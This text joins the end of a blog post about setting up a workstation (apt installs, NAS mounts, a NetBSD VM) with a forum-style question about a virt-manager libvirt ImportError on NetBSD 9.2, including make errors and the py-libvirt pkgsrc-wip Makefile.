    $ echo | sudo apt install tmux vim myrepos tig silversearcher-ag qemu-system-x86-64 kdeconnect dropbox
    

7. Back to work

1. Mount source trees from NAS. (Oh hey, I finally have a NAS! Similar post forthcoming about that.)
2. Create a NetBSD VM to match my production VPS.
3. Build a fresh batch of packages.
4. Carry on with life.

I’ve got some older Mac minis that may also soon find gainful employment around here.

I've just installed virt-manager with pkgin on NetBSD 9.2 just because I want to emulate the virtual machines with qemu + nvmm on NetBSD 9.2. The installation of virt-manager went ok. But,when I ran it,an error came up :

netbsd-marietto# virt-manager

Traceback (most recent call last):

File "/usr/pkg/share/virt-manager/virt-manager.py", line 386, in <module>

main()

File "/usr/pkg/share/virt-manager/virt-manager.py", line 247, in main

from virtManager import cli

File "/usr/pkg/share/virt-manager/virtManager/cli.py", line 29, in <module>

import libvirt

ImportError: No module named libvirt

Googling a little bit maybe I've found the solution here :

https://www.unitedbsd.com/d/285-linux-user-and-netbsd-enthusiast-hoping-to-migrate-some-day

where "kim" said :

Looking at pkgsrc/sysutils/libvirt/PLIST it doesn't look like the package provides any Python bindings -- which is what the "ImportError: No module named libvirt" error message is about. You could try py-libvirt from pkgsrc-wip and see how that works out.

I tried to start the compilation like this :

netbsd-marietto# cd /home/mario/Desktop/pkgsrc-wip/py-libvirt
netbsd-marietto# make

but I've got this error :

make: "/home/mario/Desktop/pkgsrc-wip/py-libvirt/Makefile" line 15: Could not find ../../wip/libvirt/buildlink3.mk
make: "/home/mario/Desktop/pkgsrc-wip/py-libvirt/Makefile" line 16: Could not find ../../lang/python/distutils.mk
make: "/home/mario/Desktop/pkgsrc-wip/py-libvirt/Makefile" line 17: Could not find ../../mk/bsd.pkg.mk
make: Fatal errors encountered -- cannot continue

If u want to see the content of the Makefile, it is :

gedit /home/mario/Desktop/pkgsrc-wip/py-libvirt/Makefile

#$NetBSD: Makefile,v 1.32 2018/11/30 09:59:40 adam Exp $

PKGNAME= ${PYPKGPREFIX}-${DISTNAME:S/-python//}
DISTNAME= libvirt-python-5.8.0
CATEGORIES= sysutils python
MASTER_SITES= https://libvirt.org/sources/python/

MAINTAINER= [email protected]
HOMEPAGE= https://libvirt.org/sources/python/
COMMENT= libvirt python library
LICENSE= gnu-lgpl-v2

USE_TOOLS+= pkg-config

.include "../../wip/libvirt/buildlink3.mk"
.include "../../lang/python/distutils.mk"
.include "../../mk/bsd.pkg.mk"

Can someone help me to fix the error ? very thanks.